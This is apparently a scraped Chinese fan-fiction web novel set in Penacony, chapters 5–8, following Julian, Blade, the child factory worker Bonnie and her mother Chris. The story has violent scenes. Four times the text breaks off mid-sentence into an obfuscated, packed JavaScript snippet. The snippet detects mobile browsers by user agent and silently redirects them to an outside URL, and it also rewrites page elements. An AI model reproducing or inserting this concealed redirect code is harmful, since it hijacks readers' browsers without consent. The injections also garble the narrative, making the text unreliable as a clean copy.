从听到这个消息就沉下去的脸色好看了一点。 但是这些机器是怎么回事? 尤利安眉头紧皱,仔细打量那些算得上报废的机器人。 “有维修人员前去查看吗?” “有的,我们第一时间就派出人员去检修,显示零件完好能源充足,但是不管怎样机器都无法再次启动,初步怀疑是内部系统的问题。” 这样啊…… 是计算机病毒吗?不对,没有谁会闲到大费周章用病毒感染几个服务机器人…… “这批机器的生产地是哪里?” 坐在电脑前的成员紧急调取资料,在浩如烟海的琐碎信息中,捕获到了边缘的几行小字。 “报告尤利安大人,这批机器全部由早霞工厂生产。” 早霞工厂……? 一个身影浮现在尤利安脑海中。 果然,那个人不像他承诺的那般乖巧。 “知道了,我将前往【黎明的时刻】,去看看早霞工厂里发生了什么。” 既然获得了线索,尤利安就不准备在这被屏幕填满的房间久留。 没走多远,他就顿住了脚步。 “……这件事,我会尽快解决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591933|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不必上报给家主大人。” 星期日已经入梦,警报声不可能透过入梦池传入他的耳朵里。 这只是一件小事,而上报给星期日,让他来询问详情,甚至亲自前往早霞工厂,那才是把小事闹成了尤利安无法解决的大事。 商品不会自己从货架上长出来,声色犬马的梦境之下,是无数工蜂般勤恳的工人在劳作。 一个富丽堂皇的梦境需要早霞工厂,但是一个让所有人都幸福的乐园不需要早霞工厂。 更何况,那里说不定,已经被弄得一团糟…… “不要让他烦心。” “是,尤利安大人。” …… 梦境深处,黎明的时刻。 巨大的轰鸣声是工厂内永恒不变的背景音,纺锤高速旋转,将纤细的棉条拉伸、加捻,变成坚韧的纱线,棉絮在空中肆意飞舞,在并不存在四季的梦境中,纷纷扬扬下着大雪。 一双双粗糙发黑的手在雪白的梭子间穿梭,摆正、调平、处理接口,脆弱柔软的皮肤在高速旋转的纺线中飞速穿行,将一堆堆粗糙的棉团变成一匹匹平整的布料,再送入另一台机器张开的大嘴中。 辛苦忙碌了一上午后,终于迎来了短暂的休息时间。 少女端着餐盘走到餐厅角落,小心摘下口罩。 发灰的棉质口罩下是一张稚嫩的脸——面颊圆润,鼻头发红,即使皮肤被口罩勒出深红的勒痕,也能让人一眼看出那是一副娇嫩的,还没有被岁月打磨过的年轻皮囊。 但是在工厂,这份稚嫩并不会让她得到优待,反而会让她因为谎报年龄假装成年人被赶出工厂。 她拿出一面掌心大的梳妆镜,借着镜子左右观察,发现没有人好奇她小小的异常后松了口气,把口罩搁在一旁,专心解决盘子里的白菜、南瓜和一小团糙米饭。 食堂中心挂着唯一一块大屏幕,每当吃饭的时间就开始播放新闻,大部分时候是放的娱乐新闻,有时没有东西可放,也会循环一些梦境中对路人的随机采访。 少女背对着屏幕,可声音可不会在意她是否抗拒,坚决地往她脑子里钻,欢声笑语在耳膜边上打鼓,听着听着,她不免有些难过。 像她这么大的孩子,在黎明的时刻之外,应该在上学,在游乐,在父母的怀抱中无忧无虑地生长,而不是在工厂拼命隐藏自己的年龄,只为攥紧那一点微薄的薪水。 但是…… 想起家中缠绵病榻的妈妈,少女咽下口中寡淡的饭菜,原本被幸福动摇的心又坚定了下来。 现在只有她能支撑起这个家了。 在早霞工厂,雇佣童工并不是一件多么大不了的事,但是一经发现还是会被赶出工厂,少女已经兜兜转转被很多厂子列入了黑名单,只有这个织布厂,其他人都像机器里的螺钉般各干各的事,没有人会好奇她口罩下的脸属于成人还是孩童。 她快干满一个月了。 马上、马上就能领到薪水,去买食物和妈妈的药了…… “邦妮,主管找你!” 少女一惊,急忙戴上口罩,压低声音回话:“来了!” 5. 第五章 穿过昏暗的走廊和蜂巢般鳞次栉比的厂房,就到了同样逼仄狭隘的办公室。 邦妮垂着头,用余光小心翼翼地打量着主管,那是一个瘦削的中年女人,最小码的衣服套在她身上,都像是搭在冬天干枯树枝上的塑料布,因为太瘦,她脸上的皮没有脂肪的支撑,松松垮垮地垂在骨头上,眼窝深陷,眼下的皮肤青黑,浑黄的眼珠嵌在眼骨里,像是一颗被人玩脏后随手丢弃的橡皮球,干枯发黄的头发被一丝不苟地梳起来,紧紧绷在头皮上。 她的身体陷在布椅子里,像橘子皮里发皱萎缩的果肉,无端让邦妮打了个冷颤。 “工号758……” “是!是!”邦妮急忙答复道。 “你被开除了。” 主管的声音平静到可怕,仿佛她只是在谈论今天的天气,而不是为一个家庭降下暴雪。 大脑接受到那五个字后,愕然占据了邦妮的整个脑海,使她忘记了寒冷、饥饿和畏惧,只顾得上着急地追问:“为什么!我、我一直很努力工作……” “上周五的十点十七分,你在工作时走了近三分钟的神;上周六午间休息后,你晚了一分四十六秒才到工位;昨天晚上八点,你拉着旁边的人闲聊了两分钟,严重影响了其他人的工作积极性……” 邦妮瞠目结舌地看着主管条条列出她的“罪证”,时间跨度为二十七天,几乎是从她入职那一刻,就开始收集清退她的“证据”。 “……因此,我们决定将你开除,因为你的工时没有达到转正的最低标准,所以工作服和这段时间的餐食,都需要你自费购买,请尽快缴费。” “凭什么!”邦妮几乎是尖叫着说出了这句话,因为太激动,周围的寒气一下灌进她的领口,她缩了缩脖子,为自己辩驳:“你说的这些我确实做了,但这怎么能算得上错误!大家都这样!凭什么就开除我!” “大家都不这样。” 主管的眼神很平静,平静到近乎死寂,好像她眼前不是一个正在大声反驳自己的活人,而是一根草、一块木头、一具不会思考的尸体。 在这样的眼神中,邦妮好不容易燃起的勇气逐渐熄灭,她的声音越来越低,越来越小,最后闷在嘴里,含糊地吐不出来。 “其他人都心无旁骛地操纵着面前的机器,没有人走神,没有人迟到,没有人影响他人。整个织布厂内,只有你不能全神贯注地工作。” “不可能!你说的完全不可能有人做的,你……”一定是在骗我! 等等。 真的是在骗她吗? 邦妮回忆着这短短二十七天的工作经历,脑子里却没有一张清晰的人脸,她在这里工作了二十七天,每天都工作了十二个小时,却好像和周围的人完全没有交流。 没有人跟她聊天,没有人关心她在做什么,每次上工时,其他人都已经在工位整整齐齐地等着开工了,仿佛他们已经成了机器的一部分,一通电,就勤勤恳恳地发出轰鸣声。 一股寒意顺着脊椎蔓延进邦妮的大脑,她发觉身上越来越重,一摸后背,才惊觉工作服早已被冷汗浸湿。 “请你尽快收拾好东西离开工厂,你的工位已经有其他人填上了。” 邦妮不知道自己是怎么走出办公室的,但是回过神来,她已经回到厂区,站到了自己的工位前。 不同的是,她的工位上站了另一个人。 身材瘦小,戴着口罩,头发全部绾进帽子里——一个陌生的女人正埋头摆弄着手里的纺锤。 “你、你是谁?”邦妮惴惴不安地问她。 没有得到答复。 女人好似什么都没听见,手中工作不停,连脖子弯着的弧度都没变。 邦妮又追问了好几声,依然没有回应,机器隆隆响,流水线上的每一个人都是一颗微小的螺丝,稳稳地待在自己应在的位置。 她咽了咽口水,慢慢地、慢慢地,把头伸过去,然后,弯下腰。 对上一双凸起的,满是红血丝的浑黄眼睛。 她尖叫一声,夺门而逃。 …… 脱色的陶瓷杯被摆上木制餐桌,杯中的茶水淡到几乎看不见颜色。 满脸病容的女子羞愧地说道:“不好意思,家中物资不丰,只能拿出这些招待您。” 黑发男子坐在餐桌前,高大的身躯委屈地缩在小木凳上,显得有些滑稽。 听了这话,他推拒的手势顿住,转而端起茶杯,抿了一口。 “无妨,”他的声音低沉沙哑,像是一柄破碎生锈了的铁剑,“近来,你在周边有没有觉察到一些异常?” “异常?”女子皱着眉,思考半晌后,摇了摇头,“似乎没有什么异常……啊,邦妮,欢迎回家。” 木门咯吱几声,被推开,少女站在门口,脸在黑漆漆的夜色中显得煞白。 她环抱住自己,明明梦中的气温恒定在人体体感最佳温度,她却好像极冷,边走边打着哆嗦。 “邦妮,邦妮?”对于女子焦急的呼唤,邦妮充耳不闻,连对家里出现的陌生人都没有反应,走到床边一屁股坐下,大口大口地呼吸着。 女子拖着没有反应的下半身,挪到她身边,掰过她的脸,忧心忡忡地和邦妮对视。 “怎么了,邦妮?” 少女如梦初醒,下意识避开母亲的眼睛,想扯出一个笑,但是只是嘴角抽动了几下,艰难说道:“没事、没事,什么事都没有……对了,妈妈,这位是?” “……这是刃大人。”母亲半信半疑地移开视线,将邦妮奇怪的反应先压在心底,为女儿介绍起来客,“他是家族猎犬的成员,来黎明的时刻调查案件。” “你好。”刃向她点头示意,红眸沉沉,俊美的脸上没有任何表情,周身散发着成年人的靠谱气息。 “猎犬、猎犬……”邦妮反复念叨着这两个字,眼睛里慢慢燃起一点希望,可那点希望就像黑夜中摇摆不定的烛火,很快便在寒风中熄灭了。 而她的一举一动,一分一毫,都被刃尽收眼底。 他举起茶杯,又抿了一口劣质的茶水,漫不经心地说道:“你在附近有遇到什么奇怪的人吗?比如,反应迟钝,难以沟通,言行举止异于常人,比起人类……” “更像一台运作不良的机器。” “有!有!”邦妮激动地跳起来,“您知道什么吗?” “你在哪里遇到的这种人?” “在我上班的工厂……” “邦妮!”母亲骤然拔高音量,难以想象那样病弱单薄的身躯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591934|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如何发出这样高亢的声音,“你上班的工厂?你不是告诉我,你白天都去老师家学习了吗?” 瘦小的女孩僵了僵,不敢直视身在病中勃然大怒的母亲,嘴里却还倔强地喃喃道:“家里都快揭不开锅了……而且,这里哪有愿意免费教书的老好人啊……” 她说的是实话,贫富差距在梦境中不仅没有被缩小,反而被拉大了,富人们在黄金的时刻声色犬马,在蓝调的时刻轻歌曼舞,在薄暮的时刻挥金如土,而穷人,只能蜷缩在黎明的时刻,靠着几座仿佛永远都不会倒闭的工厂,听着机器刺耳的轰鸣声,去争夺仅有的几分资源。 邦妮从出生起就在这里,她听说现实中他们还有身躯,但是她从没去过现实,目前告诉她现实中他们都在沉睡,身体像包装袋里满得快爆出来的饼干一样挤在一起,被塞进住满忆质的缸里。那些在匹诺康尼挥霍完金钱,不愿离去却又没有钱续房费的客人都会被扔进缸里,而邦妮一出生就在缸里,她没得选。 当然,她是从母亲的讲述中了解到这些,她没有钱离开梦境在现实中醒来,也就从未见过那口困住了她的缸,对她而言,梦境就是现实。 黎明的时刻曾经有过学校,邦妮曾经有过老师,可后来学校被推倒盖成工厂,于是一切都没有了。 如果有选择,没人会想留在这里,留在这里的人都没得选。 邦妮的嘀咕声并不大,可破败的房间内没有第二个发出声音的物体了,母亲想说的话哑在喉咙里,最后也只是低下头,用手指揩去眼角的泪花。 等母女二人都冷静下来,刃才继续问道:“你遇到了多少这种人?” 少女双手握拳,身体绷紧,咬着牙关说:“全、全都是。” “?” “我、我感觉整个工厂里,除了我,都是那种奇怪的东西,像是……” 深棕色的眼睛逐渐被恐惧占满,邦妮抖了抖,把要跃出舌尖的几个字吞回肚子里。 像是坟墓。 “什么工厂?” “第四织布厂。” “第四织布厂……”刃声音沉了沉,“据我所知,黎明的时刻只有一二三,三所织布厂,根本没有第四织布厂。” “怎么会!我可是刚从里面出来!” “你明天还去上班吗?” “……我已经被辞退了。”少女垂头丧气地说道,心中半是失落半是庆幸。 看来她也不会再想前往那座工厂。 观察了一下少女的脸色,刃放弃了找一个领路人的想法。 第四织布厂不现于人前,她肯定是通过一些特殊的途径才进入到厂内。 “你是怎么入职的?” 邦妮愣了愣,回忆道:“我好像……是看见了招聘的传单,但是我忘了是怎么拿到那张传单的了。” 传单? 刃追问道:“你还记得是什么样的传单了吗?” “黑白色的,印着工厂的图片,上面还写着什么,欢迎加入第四织布厂,成为友爱大家庭的一员……” 刃越听,面色越凝重,等到传单的全貌被描述出来,他张开口—— “邦妮,”颤颤巍巍的女声从卧榻上传来。 “你描述的,不是你衣服后面的图案吗?” 6. 第六章 与贫穷相伴的是落后的基础建设,即使在梦境之中,想要得到优秀的基础设施,也需要向筑梦师支付苜蓿币才能获得。 很显然,没有人会为这里的居民支付上这么一大笔苜蓿币。 于是留给这片空间的只有一个四四方方的棺材板间,天空和大地都拙劣得像是蜡笔画,没法被处理的垃圾堆积如山,经年累月下形成了新的“土地”。 尤利安踩着地上,构成奇怪的“泥土”发出咯吱声,不知是哪一层的易拉罐发出抗议,污水从垃圾的缝隙中流出,散发着怪异的腥臭味。 他眼角抽搐,面上名为“冷静”的面具都有些裂开,露出底下深藏的震惊。 距离他上次踏足这片区域不过两三年,不成想在这短……不长不短的几年里,这里已经变成了这副,难以言喻的模样。 该庆幸这里好歹是梦境,垃圾堆成这样也不会生虫吗? 遍地狼藉,满目疮痍,高而远的穹顶上黑云密布,可那并不是雨水降临的前兆,而是工厂排放的煤灰和废气组成的絮状物,飘在虚假的天空上假装云彩。 纵使是污浊的沼泽,只要想,依然可以划分出三六九等。 【黎明的时刻】也不例外,它最好最干净的一块地被划分为了“展区”,专门供游客参观,展区里的员工都贯彻【家族】的意志,与其说是工人,不如说是演员。 而展区之外的地方则是完全的三不管地带,沦落到这片区域的人,是小麦脱壳后的麸皮,是玉米采集后留下的秸秆,是棉花摘完后的棉铃,唯一的价值就是被付之一炬,沦为生产环节中最卑微的燃料。 烧毁他们的熔炉,则是尤利安一手搭建起来的。 为了不被游客目睹这脏乱的景象,影响盛会之星梦想之地的形象建设,他将展区之外的地方隐入镜像当中,其外则用倒影覆盖,只有潜入【黎明的时刻】最边缘的洼泽,才有可能进入被掩埋的地界。 对尤利安而言,进入这里当然不成问题,真正让他感到为难的是,要如何在这片荒芜混乱的地方找到特定的某个人——对方还很有可能躲着他。 尤利安叹了口气,抬眼循着黑云飘来的方向,迈出脚步。 废旧的纸张、腐朽的木块、破碎的玻璃瓶……四周静谧得可怕,没有行人的踪迹,尤利安合理怀疑,他往地下刨都比在地面上看到人的可能性更大。 所以……那个东西是人吗? 明明上一秒,那里还是空空一片,一眨眼,一个白色人影就出现在了视野边缘。 没有动作、没有声音,出色的视力让尤利安可以分辨出那枯木一般干瘦的白上方顶着的是一个人的脑袋,除此之外看不出任何人形。 ? 难不成是哪个筑梦师喜欢鬼怪主题风格? 他歪了歪脑袋,长发随之晃动,在等待片刻后,发现那个白影还是木愣愣杵在那里,选择率先出击。 “喂,你……” 手下的触感完全是一副骷髅。 只需轻轻一用力,微弱的平衡就被打破,软组织流失的关节无法支撑更多的重力,像被不小心压住的薯片一样,稀里糊涂碎了一地。 尤利安:“……” 他眼神死地注视着碎得很随意的骨头,化身飘满问号的Q版小人。 好随便,像是电影没有达到时长,导演一拍脑门自己瞎编出来的,跟主线没有半毛钱关系的凑时间小剧场呢。 而且…… 是镜像啊。 像提着一袋垃圾一样,尤利安拎起地上那颗骨碌碌滚落的头颅,试图透过他干裂的皮肤、缺三少四的牙齿和脱水皱缩的眼珠辨认出他的身份,无果。 既然是镜像,那肯定是出自他手,不知道是哪个倒霉蛋,本体死掉就算了,连镜像都被恶作剧地作弄成这副模样。 莫名有种玩具被邻居家小孩糟蹋的不爽感。 但是能把他的玩具作弄成这样的,这里也只会有那一个人了。 看来对方没有跑,只是跟得不到大人关注的小孩似的,想通过恶作剧引起自己注意。 尤利安捏了捏眉心,略感无奈。 捡来的牛马圣体没想着跑是好事一件,但现在自己可没时间陪他玩这种无聊的小游戏。 还是尽快找到人,把他再塞回实验室吧。 尤利安蹲下身,仔细检查碎肉和骨头架,很快发现了出题者留给他的提示。 大腿骨上最粗的一处,有拼接的痕迹。 他顺着那条裂痕□□骨,一张纸条掉了出来。 [第四织布厂火热招聘!快加入我们,组成和谐友爱的大家庭吧!] [你是否厌倦了沉闷无聊的工作环境?你是否苦恼于勾心斗角的同事关系?你是否受够了没有尽头的无偿加班?] [那么!加入我们!成为没有压迫、没有痛苦、温馨幸福的一家人吧!] [只要?持???,前往?????,就可以????!欢迎入职!] 最后一段被划得稀巴烂,原本该是入职方式的地方变成几个扯着毛边的缺口,显然是刻意所为。 他抚摸着划痕,一股力量在试图划伤他的皮肤,而另一股力量却试图催长他的血肉。 前者是凌厉的剑气,后者……则是丰饶的伟力。 尤利安站起身,将那张传单攥在手心,捏皱。 是哪位客人如此无礼,擅自闯入了他的禁地? * 尤利安上次来到黎明的时刻,是为了送一个人进来。 来到匹诺康尼的客人总是怀抱着千奇百怪的目的,但只要基数足够大,什么人都会出现,在这一批庞大的“逐梦客”中,真的有人为了追逐梦想而来。 一艘运货的飞艇,在满满当当的货物中,就有这么个人主动撞到他面前。 他到现在都记得那一刻,当货物被搬出飞艇,角落中蜷缩着的人影暴露在灯光下,在被驱赶的前一秒,一口咬在了负责驱逐的家族成员的手上。 在认识埃德蒙的很长一段时间里,他都怀疑对方并非纯种人类,而是什么狗族人和人类的混血,没有生活常识,基本无法沟通,比起语言更喜欢用肢体动作去表达意愿。 但就是这么个放在大街上能被直接报警送进精神病院的人,却有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591935|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着远超常人的才能。 发明、创造,任何坏掉的机械他看一眼就能修好,最离谱的是他用美梦剧团掉落的零件,拼出一个能产出“饥饿”“迷惘”的加工器。 明明有着惊世的才能,对方却自称黑魔法师。 “你来匹诺康尼是想研究黑魔法吗?”他问。 对方神气的表情卡了卡,随后承认:“当然!我可是要成为最厉害的黑魔法师!” “研究黑魔法的材料可不好找啊……这样吧,我为你提供安心研究黑魔法的环境,作为交换,你只用把你随便产生的一些灵感记录下来,交给我就好。” 之后,他就将人送进了黎明的时刻深处,成为最上等的牛马。 当然尤利安可不认为这属于压榨,这分明是等价交换,对方为他产生劳动价值,他给对方打造一个无菌的玩具厂,还将这么些年搜罗下来的黑魔法秘籍都送给对方,怎么看都是很平等的交易关系。 至于对方是不是真心想要这么个玩具厂,又会拿它来做什么——这就不在尤利安关心的范围之内了。 结果现在看来,埃德蒙把他精心打造的玩具厂,当成废品回收站了啊。 尤利安推开比八十岁老大爷灵活不了多少的大门,满脸黑线地环视满地七零八落的“零件”。 他谨慎地往前挪了两步,却还是在啪咔一声后,踩断了一截小指骨,撇了撇嘴,自暴自弃地大步向前。 工厂内机器响个不停,操作端前却空无一人,本该站在工位上的人伏倒在地,仿佛被猛然推倒的乐高积木,溃不成军。 鲜血溅得到处都是,残肢端口齐整非常,是被利器砍断的。 常人看到这一幕,必然大惊失色——屠杀了近千人并将其碎尸,该是何等丧心病狂的杀人魔才能做出这种事。 但若是告诉他,地上的这一堆并非真正的人,而是镜面倒映出的、被拉入现实的镜像人,想必这种惊慌就会消去很多。 杀人和摧毁镜像,意义可截然不同。 本来以为是叛逆,结果竟然是在求援吗…… 尤利安从乱蹦的眼珠子里挑了个比较干净的,将它握在手中,感慨自己真是任劳任怨。 不过毕竟是谐乐大典,会吸引来奇奇怪怪的人也正常,忙也就忙这一阵了,等到演出谢幕,就不会再有这种事让他烦心了。 为了建成家主大人梦想中的乐园,前期准备工作再繁琐,也是值得的。 他闭上眼,手中眼球还是温热的,瞳孔中残留的影像还未完全消散。 在人眼扭曲的残影中,他窥见一把残破的剑,剑身漆黑如墨,遍布金色裂痕,一点寒光刺下,随后视野由平视转俯视——是脖子被斩断,头颅滚落。 在暗下去的前一秒,一双赤红眼瞳闯入视线中,仿佛两团凝固的鲜血,森寒死寂,杀意暗藏其下,如同隐藏雪下的尖刺,冰冷而致命。 仅是一瞥,便让人胆战心惊。 尤利安被那道目光一次,下意识把手中的眼珠甩出,等到反应过来,惊诧褪去,涌上心头的是无尽的恼怒—— 这个人!跟他撞配色了啊! 7. 第七章 墨色的雾霭犹如恶魔的羽翼,沉甸甸压在大地上,河水混浊幽深,晕出的水汽被冷风一卷,犹如细小的绣花针般潜藏在空气中,顺着呼吸一同进入肺腑。 邦妮蜷缩着身体,靠河畔边一根废弃的木桩遮挡寒风,裸露在外的皮肤泛青发紫,冻得她直打哆嗦。 她本不该出来的,这样的天里,即使是她的木屋老旧破败,缩在家里也比在外面好上一万倍。 都说好奇心害死猫,邦妮可是切切实实体会到了这句箴言,在那个陌生的男人拿着传单走出她家后,担忧和强烈的好奇促使她瞒着妈妈偷偷出门,跟在男人身后。 不曾想没走出几步,混浊的雾气便如一张大网般罩了下来,来路和去路都被掩埋在雾中,邦妮兜兜转转好久,最后还是迫于寒冷,缩在仅有的,能遮风挡雨的木桩下。 这雾什么时候散? 邦妮不断把头往膝盖中埋得更深了些,意识有些模糊。 会有人找到她吗? 如果没人找到她的话…… 她颤了颤,不愿细想。 一时之间,除了她自己的呼吸声,只有风声和水流声与她相伴,她的手脚越来越重,身体越来越沉,眼皮也慢慢搭了下来…… “嘎吱”一声响起。 那是重物压在塑料上的声音。 邦妮惊醒,扭头,屏息凝神望向声音传来的方向。 如恶兽胃袋般的浓雾中,映出一个颀长的身影,风衣下摆随风飘动,仿佛蝴蝶轻振的羽翅,乌发如瀑般泼洒而出,比最华贵的锦缎还要柔顺,皮肤白到近乎透明,在极致的黑与白之间,唯一的异色是那双暗红色的眼睛,犹如地狱中灼灼燃烧的业火,又好似冰川下深埋已久的龙血,配合上精致昳丽的五官,显出一种浓烈到近乎妖异、令人惊心胆战的美。 邦妮打了个哆嗦,缩回视线,害怕得抱紧了自己。 在妈妈给她讲的故事里,这种东西,被称作鬼。 她遇到女鬼了。 要死了吗? 她绝望地想。 在被冻死前,先一步被女鬼杀掉,故事里鬼杀人的手段都极其残忍,她的头会被砍掉,腿会被折断,连肠子都会被扯出来,妈妈看到她死得那么惨,一定会哭晕过去…… 一件外套披在了她的肩上。 欸? 欸—— “还好我眼尖看到你了,”温柔的声音如三月柳枝般垂下,“很冷吧?这种天气。” 邦妮恍惚地抬头,上一秒还被她视作厉鬼的对象,这一秒就蹲在她面前,对她温柔浅笑。 “我、你、我……”她结结巴巴说不出话。 那人摸了摸她的头,“早点回家吧,女孩子一个人待在外面可是很危险的。” 这时邦妮才发现,不止物种,她连对方的性别都认错了。 衣料的手感细腻柔软,薄薄一件风衣,却比邦妮家中重得让人喘不上气的被子还要温暖,在这件衣服的包裹下,邦妮的手脚很快回温。 回过神来,她再看眼前的男子,只觉得惊艳,甚至开始疑惑自己几秒前为何会觉得他可怕。 多么温和又友善的好人啊!自己竟然错将他认成鬼怪! 见女孩这么快就放松了警惕,尤利安表面温柔,心中却暗暗失落。 这么简单就卸下防备了……难得见到个活人,还以为会更有趣些。 唉……不过这样也好,方便他问话,节省时间。 “怎么了?你在雾里迷路了吗?”他轻声细语地问,“需要我送你回家吗?” “你愿意送我回家吗?” “当然,”尤利安笑得更温柔了,“能护送一位可爱的小小姐回家,是我的荣幸。” 他们交换了名字,原地等待了十几分钟,邦妮晃晃悠悠地站起身,开始寻找回家的路。 “你还记得你家大概在哪个方向吗?” 邦妮犹豫了一下:“不记得了……但是妈妈说,如果我找不到回家的路……闭上眼睛,一直往前跑,就能到家了。” 在她身后,尤利安一愣,随后露出恍然大悟的表情。 闭上眼,就看不见倒影里的世界了,原来如此……难怪他找不到人啊! 就像实像和虚像之间隔着层平面镜一样,倒影再靠近现实,其间也会有微小的夹层,他自己都快忘了这一点——能发现这个夹层,看来躲在里面的人里,有人对他的能力很熟悉啊! 是谁呢?好难猜啊,坏孩子会是谁呢—— 谜底可要揭晓了哦。 他温声对邦妮说:“那我们就试试吧,别怕,在摔倒之前,我会拉住你的。” 面黄肌瘦的小姑娘对他信任地点了点头,用手蒙住双眼,问他:“你闭上眼睛了吗?” “当然。”当然没有。 邦妮点了点头,稍显雀跃地说:“三、二、一、我们跑!” 她的脚步并不快,跑步的姿势也很难看,最开始的几步就像在垃圾山里打醉拳,跌撞得可笑。 但是很快,她的身影就出现异常,随着她一步步跑动,身体越来越淡,越来越少,仿佛融化在了雾中—— “小心!” 尤利安眼疾手快踹了块木头到她脚下,在她踩上木头,将要绊倒的前一刻,抓住她的衣领,闭上眼。 微弱的错位感后,他稳稳踩在湿润的泥土地上。 漫山遍野的垃圾消失,黑雾散去,出现在他眼前的,是一片荒村陋屋。 一点寒光先至,尤利安很快松手,它便只削断了风衣的衣领。 尖锐的女声刺破平静。 “邦妮!离他远点!” 剑身似血,剑影如光,剑气虽利却杂乱无章,尤利安形似鬼魅,在如林的剑影中翩然穿梭,甚至有闲心分给旁边一点余光。 消瘦的女人坐在轮椅上,依稀可见往日风采的面容因惊恐扭曲得不成样子。 尤利安拿着这张脸在回忆中飞快比对,最终与某个曾沉默地跟在他身后处理“垃圾”,但许久不见踪影的脸重合。 “克丽丝姐姐……!”他失望地惊叹,“你怎么没死啊?” 话一出口,他就有些后悔了。 怎么能这么大声地说出听上去诅咒一样的话呢?这跟与他对外表现的人设不符啊。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591936|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法,任谁看到之前被自己亲手杀死,还举行了“追悼会”的人死而复生,都会绷不住伪装的啊。 他脚步一顿,身形一拧,转守为攻,无数坚冰横空出世,仿若万千利箭脱弦而出,以排山倒海之势刺向对手。 只能把这些看到他“崩人设”的人都杀死了。 只要没人窥见他面具下的真面目,他就还是那个优雅冷静、温柔自持、家主大人值得信赖的好下属、好朋友啊! 坚冰被剑气削去无数,余下的几段被黑发男子不避不闪地用肉身抗下,保护了身后瑟瑟相拥的母女。 见此情景,尤利安哑然失笑。 “什么啊……弄得我像是个反派一样,恶名昭著的通缉犯,星核猎手之一——刃,原来是这么个优柔寡断的烂好人吗?” 冰箭刺入皮肤后转瞬消融,只尚存几个血淋淋的通彻孔洞喻示着它的威力,但伤口以肉眼可见的速度愈合,很快只留下斑斑血迹。 受伤流血后,刃眼中凶光更甚,出手剑招越发凌厉,逼得尤利安左支右绌,稍显狼狈。 一道寒光斩下,削去几缕青丝和一截带血的手掌,刃攻势不减,终于开口: “艾利欧说,我会在匹诺康尼,遇到丰饶的余孽。” 尤利安躲闪着剑招,剩下的一只手艰难护住头发,还有闲心不着边地笑着搭声:“欸?丰饶余孽?谁?我吗?你长得好看,眼睛却怪瞎的。” “他说,丰饶余孽会命陨此处。” 剑在手中,仿若困兽,道道剑气如恶龙狂啸,出鞘只余残暴,不分敌我,连在持剑者本身都砍出数道血痕,一时鲜血四溅,分不清是谁所出。 本该驾驭它的人却没有丝毫收敛的意图,反而放任自身随剑而动,伤口愈多,剑势愈利。 漆黑剑身划过咽喉,一蓬鲜血飞出。 黑发青年仰面倒下,面上的表情定格在戏谑。 一时之间,天与水与风俱静,除了鲜血汩汩流出的声音,再听不到其它。 惊慌、恐惧、错愕……种种情绪凝固在克丽丝脸上,交杂出一种,近乎滑稽的表情。 死了……? 就这么,死了? 困扰了她无数年的梦魇、在午夜梦回时一遍遍将她杀死的凶手……就这么,轻飘飘地,死了? 几个呼吸后,极大的喜悦冲击着她的心神,混杂着一股说不清道不明的、细小的悲伤,顿了顿,泪水和笑声一同汹涌而出。 “死了、死了……我自由了……自由了啊……” 说不清是喜是悲的泪水糊了她满脸,克丽丝只能张大嘴,艰难地呼吸着。 可这喜悦还没持续多久,便被一把飞出的利剑斩断。 漆黑剑身贯穿挡在她身前高大男子的心脏,一扭,拔出,鲜血便如暴雨般落到克丽丝眼睛里、睫毛上、口鼻中……涂了她满脸。 一双冰冷柔软的手环住她的脖颈,胸膛贴上了她的后背,下巴轻轻搁在她的发顶。 “真怀念啊,克丽丝姐姐。”轻柔温暖的声音略带笑意,如毒蛇般将她紧紧缠绕。 “在我小时候,你经常这么抱着我呢。” 8. 第八章 下意识的,克丽丝被他的话拉进回忆中。 盛会之星吸引来的不只有同样光亮的明星,还有太空垃圾。 走错路的垃圾,自然会有人送它们去该去的地方。 而清理这些垃圾的人,则被称为城市清道夫。 尤利安加入清道夫时,还不满十四岁,是克丽丝见过年龄最小的成员。 